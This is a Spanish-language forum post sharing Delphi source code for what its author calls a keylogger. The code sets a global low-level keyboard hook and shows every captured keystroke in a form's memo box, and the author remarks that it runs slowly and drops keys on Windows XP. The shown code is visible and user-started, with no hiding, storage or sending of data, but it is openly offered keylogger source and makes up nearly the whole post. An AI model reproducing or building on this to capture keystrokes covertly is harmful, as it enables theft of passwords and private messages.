es un keyloger con hook , en mi xp anda algo lento y se pierden algunos mensajes, suppongo que en consola andaria bien,
Código: Seleccionar todo
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
const
WH_KEYBOARD_LL = $000D;
LLKHF_EXTENDED = $0001;
LLKHF_INJECTED = $0010;
LLKHF_ALTDOWN = $0020;
LLKHF_UP = $0080;
type
tagKBDLLHOOKSTRUCT = packed record
vkCode : DWORD;
scanCode : DWORD;
flags : DWORD;
time : DWORD;
dwExtraInfo : Integer;
end;
KBDLLHOOKSTRUCT = tagKBDLLHOOKSTRUCT;
PKBDLLHOOKSTRUCT = ^KBDLLHOOKSTRUCT;
TForm1 = class(TForm)
Memo1: TMemo;
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
hkHook : HHook;
FMemo : TMemo = nil;
function LowLevelKeyboardProc(nCode: Integer; wParam: Integer; lParam: Integer): Integer; stdcall; export;
procedure HookIt(Memo: TMemo);
procedure UnHookIt;
implementation
{$R *.dfm}
procedure HookIt(Memo: TMemo);
begin
FMemo := Memo;
hkHook := SetWindowsHookEx(WH_KEYBOARD_LL,@LowLevelKeyboardProc,hInstance,0);
end;
procedure UnHookIt;
begin
FMemo := nil;
UnHookWindowsHookEx(hkHook);
end;
function LowLevelKeyboardProc(nCode: Integer; wParam: Integer; lParam: Integer): Integer; stdcall; export;
var
Hook : PKBDLLHOOKSTRUCT;
bControlKeyDown : Boolean;
KeyState : TKeyboardState;
NewChar : PChar;
begin
Hook := Pointer(lParam);
Case nCode Of
HC_ACTION:
begin
Try
If (FMemo <> nil) And (IsWindow(FMemo.Handle)) And ((Hook^.flags And LLKHF_UP) <> 0) Then
begin
GetKeyboardState(KeyState);
NewChar := AllocMem(2); //2 why
//newchar:=pchar;
Try
If ToAscii(Hook^.vkCode,Hook^.scanCode,KeyState,NewChar,0)=1 Then //ToUncode
begin
FMemo.Perform(WM_CHAR,Ord(NewChar[0]),0); //CREERIA QUE ESTE METODO ES MUY LENTO
end;
Finally
FreeMem(NewChar);
end;
end;
Finally
Result := CallNextHookEx(hkHook,nCode,wParam,lParam);
end;
end;
Else
begin
Result := CallNextHookEx(hkHook,nCode,wParam,lParam);
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
hookit(memo1);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
UnHookIt
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookIt;
end;
end.